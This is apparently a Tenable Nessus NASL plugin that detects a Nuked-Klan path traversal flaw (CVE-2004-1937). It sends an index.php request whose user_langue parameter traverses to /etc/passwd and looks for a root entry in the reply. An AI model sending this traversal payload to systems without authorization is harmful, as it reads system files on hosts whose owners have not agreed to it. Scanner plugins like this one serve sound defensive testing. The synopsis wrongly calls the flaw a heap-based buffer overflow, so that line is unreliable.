Nuked-Klan index.php user_langue Parameter Traversal Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include( 'compat.inc' );

if (description)
{
  script_id(12202);
  script_version("1.19");
  script_cve_id("CVE-2004-1937");
  script_bugtraq_id(10104);

  script_name(english:"Nuked-Klan index.php user_langue Parameter Traversal Arbitrary File Access");
  script_summary(english:"Determine if Nuked-klan is vulnerable to a file include attack");

  script_set_attribute(
    attribute:'synopsis',
    value:'The remote service is prone to a heap-based buffer overflow.'
  );

  script_set_attribute(
    attribute:'description',
    value:"Nuked-klan is installed on the remote host.

There is a bug in this version that could allow an attacker to include
php files hosted on a third-party website, thus allowing an attacker to
execute arbitrary commands on this host.

Another bug allows an attacker to read arbitrary files on the remote host."
  );

  script_set_attribute(
    attribute:'solution',
    value: "Upgrade Nuked-klan to a version newer than 1.5b."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:W/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(
    attribute:'see_also',
    value:'https://www.phpsecure.info/v2/tutos/frog/Nuked-KlaN.txt'
  );


  script_set_attribute(
    attribute:'see_also',
    value:'https://marc.info/?l=bugtraq&m=108222826225823&w=2'
  );

 script_set_attribute(attribute:"plugin_publication_date", value: "2004/04/13");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");
  script_copyright(english:"This script is Copyright (C) 2004-2021 Tenable Network Security, Inc.");
  script_dependencie("find_service1.nasl", "http_version.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);

foreach d (cgi_dirs())
{
 url = string(d, "/index.php?user_langue=../../../../../../../../../../etc/passwd");
 w = http_send_recv3(method:"GET", item:url, port:port);
 if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
 buf = strcat(w[0], w[1], '\r\n', w[2]);

 if ( egrep(pattern:"root:.*:0:[01]:", string:buf) )
   {
    security_hole(port:port);
    exit(0);
   }
}